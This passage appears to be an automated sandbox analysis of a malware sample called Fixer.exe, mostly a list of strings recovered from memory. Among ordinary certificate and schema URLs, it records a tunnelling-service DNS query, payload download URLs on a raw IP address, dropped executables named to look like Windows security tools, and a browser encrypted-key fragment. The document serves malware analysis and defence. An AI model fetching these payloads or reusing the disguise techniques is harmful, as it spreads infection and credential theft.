19042.1165)","last_edgeuwp_pin_migration_success":false},"network_primary_browser":{"browser_name_enum":1,"last_computed_time":"13276780388565220","network_usage":{"browser_with_highest_network_usage":1,"browsers_usage":{"1":100.0},"ie":0}},"network_time":{"network_time_mapping":{"local":1.691263997088662e+12,"network":1.691260396e+12,"ticks":126914944.0,"uncertainty":1220870.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAAcjDYF/dB+Ehkggnbhv5UEmuk4qMrV300v/DxeYPr2kcAAAAADoAAAAACAAAgAAAA4Fc7bPPxg5D3HUrv9FeO3M8NoHE1hRCd1+t1vMyMeGIwAAAA60sl/pIpVYUn/pFhWuHqOweLytcqg8K9+apLINEdcjv+lt8eT+qH7hjP4LZPc65wQAAAABgU4kp6fr9r5p49VZoKZkZbDP1PXsAR/6XYDO+DikEUGEeRYwj0k5LNwmmr0tZ5hKexU3XBg6oVvPcKgnBt6go="},"policy":{"last_statistics_update":"13335737596278882"},"profile":{"info_cache":{"Default":{"active_time":1691263997.009407,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_20",

Source: global traffic

DNS traffic detected: DNS query: et-seattle.gl.at.ply.gg

Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D1E000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.23.97.121:1911
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.23.97.121:1911/6z9uno0baqvej0me.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.23.97.121:1911/FixerNerest.exe
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0$
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmX
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002A44000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002A96000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52866509335.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52877664599.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, Defender.exe, 00000014.00000002.53588979577.0000000002B39000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52889295522.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, Defender.exe, 00000016.00000002.52919814800.0000000002BF6000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.0000000003129000.00000004.00000800.00020000.00000000.sdmp, Defender.exe, 00000018.00000002.53436833869.0000000002979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
